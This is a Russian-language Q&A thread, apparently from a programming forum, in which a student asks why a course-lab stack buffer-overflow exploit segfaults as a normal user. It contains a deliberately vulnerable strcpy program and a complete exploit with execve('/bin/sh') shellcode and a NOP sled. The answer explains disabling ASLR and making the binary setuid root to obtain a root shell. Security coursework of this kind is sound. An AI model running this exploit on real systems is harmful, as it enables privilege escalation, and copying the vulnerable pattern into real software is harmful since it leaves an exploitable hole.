Переполнение буфера - SegFaults обычного пользователя

Ниже приведен мой код, как уязвимой программы (stack.c), так и моего эксплойта (exploit.c). Этот код работает на предварительно упакованной Ubuntu 9, которую проф рассылал пользователям Windows (у меня был друг, проверил его на своем компьютере), но на Ubuntu 12, которую я запускаю на своем iMac, я получаю segfaults, когда пытаюсь это сделать у обычного пользователя.

вот стек:

//stack.c
#include <stdio.h>

int bof(char *str)
{
char buffer[12];

//BO Vulnerability
strcpy(buffer,str);

return 1;
}

int main(int argc, char* argv[])
{
char str[517];

FILE *badfile;
    badfile = fopen("badfile","r");

fread(str, sizeof(char),517, badfile);
bof(str);

printf("Returned Properly\n");
return 1;
}

и использовать:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define DEFAULT_OFFSET 350 

char code[]=
"\x31\xc0" 
"\x50" 
"\x68""//sh" 
"\x68""/bin" 
"\x89\xe3" 
"\x50" 
"\x53" 
"\x89\xe1"
"\x99"
"\xb0\x0b" 
"\xcd\x80"
;

unsigned long get_sp(void)
{
     __asm__("movl %esp,%eax");
}

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
char *ptr;
long *a_ptr,ret;

int offset = DEFAULT_OFFSET;
int codeSize = sizeof(code);
int buffSize = sizeof(buffer);

if(argc > 1) offset = atoi(argv[1]); //allows for command line input

ptr=buffer;
a_ptr = (long *) ptr;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(buffer, 0x90, buffSize);

//----------------------BEGIN FILL BUFFER----------------------\\

ret = get_sp()+offset;
    printf("Return Address: 0x%x\n",get_sp());
    printf("Address: 0x%x\n",ret);

ptr = buffer;
    a_ptr = (long *) ptr;

int i;
for (i = 0; i < 300;i+=4)
    *(a_ptr++) = ret;

for(i = 486;i < codeSize + 486;++i)
    buffer[i] = code[i-486];

buffer[buffSize - 1] = '\0';
//-----------------------END FILL BUFFER-----------------------\\


/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer,517,1,badfile);
fclose(badfile);    
}

Чтобы скомпилировать их в Ubuntu 12, я использовал:

gcc -o stack -fno-stack-protector -g -z execstack stack.c
gcc -o exploit exploit.c

Опять же, он работает от имени пользователя root, просто не обычного пользователя; пример

В любом случае, это должно произойти в полночь, и я ограничил свой путь через остальную часть задания с этим ограничением, но я бы предпочел выполнить его должным образом, если у кого-то есть предложение. Подумал, что я вызову экспертов, прежде чем бросить полотенце. Я смотрю, чтобы понять, почему этот код не будет работать у обычного пользователя (как и должно быть, и работает на более старых версиях Ubuntu), но работает от имени пользователя root. Что мне нужно изменить, чтобы сделать эту работу в обычном пользователе также.

1 ответ

Решение

Я просто запустил код, который вы предоставили на виртуальной машине Ubuntu 12.04, и он работал нормально. Я думаю, что вы не выключили ASLR. Попробуйте еще раз, когда ASLR отключен

sudo su    
echo 0 > /proc/sys/kernel/randomize_va_space
exit

или же

setarch `uname -i` -R ./stack

конечно, для того, чтобы он породил корневую оболочку, вам нужно сначала сделать:

sudo chown root:root stack
sudo chmod u+s stack

Надеюсь это поможет...

Другие вопросы по тегам